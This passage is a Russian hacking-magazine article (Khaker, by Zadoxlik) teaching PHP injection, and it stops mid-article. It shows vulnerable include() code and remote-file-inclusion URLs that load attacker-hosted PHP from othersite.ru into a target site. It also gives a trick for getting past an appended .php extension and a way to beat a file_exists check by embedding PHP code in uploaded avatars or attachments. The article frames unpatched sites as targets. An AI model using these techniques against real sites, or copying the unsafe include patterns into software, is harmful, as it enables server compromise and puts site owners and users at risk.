PHPenetration Zadoxlik (antichat.ru) Хакер, номер #090, стр. 090-072-1 Все тонкости внедрения кода в PHP-скрипты Прошло уже много времени с тех пор, как мы с тобой начали изучать php-injection атаки. Ты читал статьи в журнале, искал при помощи гугла бажные сайты и проводил образовательные программы по информационной безопасности :). Однако все наши действия остались безрезультатными: до сих пор уязвима целая куча ресурсов! Просто для использования этих багов нужны дополнительные сведения, о которых ты еще мало что знаешь. Пришло время заполнить этот пробел! Даже у таких крутых хакеров, как ты, бывают осечки: казалось бы, нашел бажный скрипт, меняешь его параметры, читаешь ошибки, а поломать систему никак не удается. Чтобы такой проблемы не было, Zadoxlik написал эту статью. Классика Самая распространенная ошибка заключается в подстановке внешней переменной безо всяких проверок, сразу в оператор include. Обычно это делают при создании модульной системы, каждый модуль которой – php-скрипт, который инклудится при определенных условиях. Вот посмотри на этот пример: $umol4anie="main.php"; if(@$_GET['id']) include($_GET['id']); else include($umolchanie); При подключении модулей URL выглядит следующим образом: index.php?id=module.php. Довольно часто, если этого не запрещает конфигурация PHP, ты можешь вставить в тело скрипта свой код таким образом: http://site.ru/index.php?id=http://othersite.ru/anyfile.txt Где содержимое anyfile.txt - это код твоего PHP-скрипта. Обойти эту уязвимость можно многими путями. Ты только посмотри: $ex=".php"; $umol4anie="main".$exp; if(@$_GET['id']) include($_GET['id'].$exp); else include($umolchanie); Модуль в виде файла lol.php в данном случае подключается так: http://site.ru/index.php?id=lol. Припиши к своему файлу anyfile на othersite.ru расширение .php. Теперь инъекция будет выглядеть точно так же: http://site.ru/index.php?id=http://othersite.ru/anyfile Действительно, ведь скрипт сам прикрутит расширение php. Это были самые элементарные атаки PHP-injection. Далее я покажу тебе материал поинтереснее. Почти история В конце этого абзаца ты сможешь понять, почему у него такое название. Вспомни ужасную функцию file_exists. Да, это та, которая проверяет существование файла. Она вернет FALSE при обращении к любому удаленному документу. То есть файл должен быть доступен через файловую систему сервера. Таким образом, можно исключить любую инъекцию удаленного фрагмента. $ex=".php"; $umol4anie="main".$exp; if(@$_GET['id']) $final=$_GET['id'].$exp; else $final=$umolchanie; if(file_exists($final)) include($final); До конца ли безопасна такая конструкция? Нет, не всегда. Представь, что на сайте есть форум, и на него можно загружать свои файлы. Это могут быть аттачи к сообщениям, фоты или аватары. К любому из перечисленных агрегатов можно приклеить незаметно для скрипта-аплоадера PHP-код. Таким образом, полученный файл со зловредным кодом будет находиться на сервере, и одна обработка file_exists здесь не спасет. Как ты понимаешь, если бы расширение не проверялось, и вся надежда была бы на этой функции, инъекция бы уже удалась. |